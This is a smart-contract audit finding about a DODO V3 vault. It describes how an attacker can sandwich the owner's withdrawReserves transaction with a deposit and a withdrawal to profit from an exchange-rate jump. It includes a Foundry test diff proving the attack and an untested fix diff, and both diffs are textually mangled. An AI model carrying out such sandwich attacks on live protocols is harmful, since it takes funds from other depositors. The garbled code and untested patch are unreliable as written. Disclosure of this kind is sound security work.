User can perform sandwich attack on withdrawReserves for profit
A malicious user could listen to the mempool for calls to `withdrawReserves`, at which point they can perform a sandwich attack by calling `userDeposit` before the withdraw reserves transaction and then `userWithdraw` after the withdraw reserves transaction. They can accomplish this using a tool like flashbots and make an instantaneous profit due to changes in exchange rates.\\nWhen a user deposits or withdraws from the vault, the exchange rate of the token is calculated between the token itself and its dToken. As specified in an inline comment, the exchange rate is calculated like so:\\n```\\n// exchangeRate = (cash + totalBorrows -reserves) / dTokenSupply\\n```\\n\\nwhere `reserves = info.totalReserves - info.withdrawnReserves`. When the owner of the vault calls `withdrawReserves` the withdrawnReserves value increases, so the numerator of the above formula increases, and thus the exchange rate increases. An increase in exchange rate means that the same number of dTokens is now worth more of the underlying ERC20.\\nBelow is a diff to the existing test suite that demonstrates the sandwich attack in action:\\n```\\ndiff --git a/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol b/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol\\nindex a699162..337d1f5 100644\\n--- a/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol\\n@@ -233,6 // Add the line below\\n233,47 @@ contract D3VaultTest is TestContext {\\n         assertEq(d3Vault.getTotalDebtValue(address(d3MM)), 1300 ether);\\n     }\\n \\n// Add the line below\\n    function testWithdrawReservesSandwichAttack() public {\\n// Add the line below\\n        // Get dToken\\n// Add the line below\\n        (address dToken2,,,,,,,,,,) = d3Vault.getAssetInfo(address(token2));\\n// Add the line below\\n        \\n// Add the line below\\n        // Approve tokens\\n// Add the line below\\n        vm.prank(user1);\\n// Add the line below\\n        token2.approve(address(dodoApprove), type(uint256).max);\\n// Add the line below\\n        vm.prank(user2);\\n// Add the line below\\n        token2.approve(address(dodoApprove), type(uint256).max);\\n// Add the line below\\n        vm.prank(user2);\\n// Add the line below\\n        D3Token(dToken2).approve(address(dodoApprove), type(uint256).max);\\n// Add the line below\\n\\n// Add the line below\\n        // Set user quotas and mint tokens\\n// Add the line below\\n        mockUserQuota.setUserQuota(user1, address(token2), 1000 ether);\\n// Add the line below\\n        mockUserQuota.setUserQuota(user2, address(token2), 1000 ether);\\n// Add the line below\\n        token2.mint(user1, 1000 ether);\\n// Add the line below\\n        token2.mint(user2, 1000 ether);\\n// Add the line below\\n\\n// Add the line below\\n        // User 1 deposits to allow pool to borrow\\n// Add the line below\\n        vm.prank(user1);\\n// Add the line below\\n        d3Proxy.userDeposit(user1, address(token2), 500 ether);\\n// Add the line below\\n        token2.mint(address(d3MM), 100 ether);\\n// Add the line below\\n        poolBorrow(address(d3MM), address(token2), 100 ether);\\n// Add the line below\\n\\n// Add the line below\\n        vm.warp(365 days // Add the line below\\n 1);\\n// Add the line below\\n\\n// Add the line below\\n        // Accrue interest from pool borrow\\n// Add the line below\\n        d3Vault.accrueInterest(address(token2));\\n// Add the line below\\n        uint256 reserves = d3Vault.getReservesInVault(address(token2));\\n// Add the line below\\n\\n// Add the line below\\n        // User 2 performs a sandwich attack on the withdrawReserves call to make a profit\\n// Add the line below\\n        vm.prank(user2);\\n// Add the line below\\n        d3Proxy.userDeposit(user2, address(token2), 100 ether);\\n// Add the line below\\n        vm.prank(vaultOwner);\\n// Add the line below\\n        d3Vault.withdrawReserves(address(token2), reserves);\\n// Add the line below\\n        uint256 dTokenBalance = D3Token(dToken2).balanceOf(user2);\\n// Add the line below\\n        vm.prank(user2);\\n// Add the line below\\n        d3Proxy.userWithdraw(user2, address(token2), dToken2, dTokenBalance);\\n// Add the line below\\n        assertGt(token2.balanceOf(user2), 1000 ether);\\n// Add the line below\\n    }\\n// Add the line below\\n\\n     function testWithdrawReserves() public {\\n         vm.prank(user1);\\n         token2.approve(address(dodoApprove), type(uint256).max);\\n```\\n
There are a couple of ways this type of attack could be prevented:\\nUser deposits could have a minimum lock time in the protocol to prevent an immediate withdraw. However the downside is the user will still profit in the same manner due to the fluctuation in exchange rates.\\nIncreasing reserves whilst accruing interest could have an equal and opposite decrease in token balance accounting. Every time reserves increase you are effectively taking token value out of the vault and "reserving" it for the protocol. Given the borrow rate is higher than the reserve increase rate, the exchange rate will continue to increase. I think something like the following would work (please note I haven't tested this):\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol b/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol\\nindex 2fb9364..9ad1702 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol\\n@@ // Remove the line below\\n157,6 // Add the line below\\n157,7 @@ contract D3VaultFunding is D3VaultStorage {\\n         uint256 compoundInterestRate = getCompoundInterestRate(borrowRatePerSecond, deltaTime);\\n         totalBorrowsNew = borrowsPrior.mul(compoundInterestRate);\\n         totalReservesNew = reservesPrior // Add the line below\\n (totalBorrowsNew // Remove the line below\\n borrowsPrior).mul(info.reserveFactor);\\n// Add the line below\\n        info.balance = info.balance // Remove the line below\\n (totalReservesNew // Remove the line below\\n reservesPrior);\\n         borrowIndexNew = borrowIndexPrior.mul(compoundInterestRate);\\n \\n         accrualTime = currentTime;\\n@@ // Remove the line below\\n232,7 // Add the line below\\n233,7 @@ contract D3VaultFunding is D3VaultStorage {\\n         uint256 cash = getCash(token);\\n         uint256 dTokenSupply = IERC20(info.dToken).totalSupply();\\n         if (dTokenSupply == 0) { return 1e18; }\\n// Remove the line below\\n        return (cash // Add the line below\\n info.totalBorrows // Remove the line below\\n (info.totalReserves // Remove the line below\\n info.withdrawnReserves)).div(dTokenSupply);\\n// Add the line below\\n        return (cash // Add the line below\\n info.totalBorrows).div(dTokenSupply);\\n     } \\n \\n     /// @notice Make sure accrueInterests or accrueInterest(token) is called before\\n```\\n
An attacker can perform a sandwich attack on calls to `withdrawReserves` to make an instantaneous profit from the protocol. This effectively steals funds away from other legitimate users of the protocol.
```\\n// exchangeRate = (cash + totalBorrows -reserves) / dTokenSupply\\n```\\n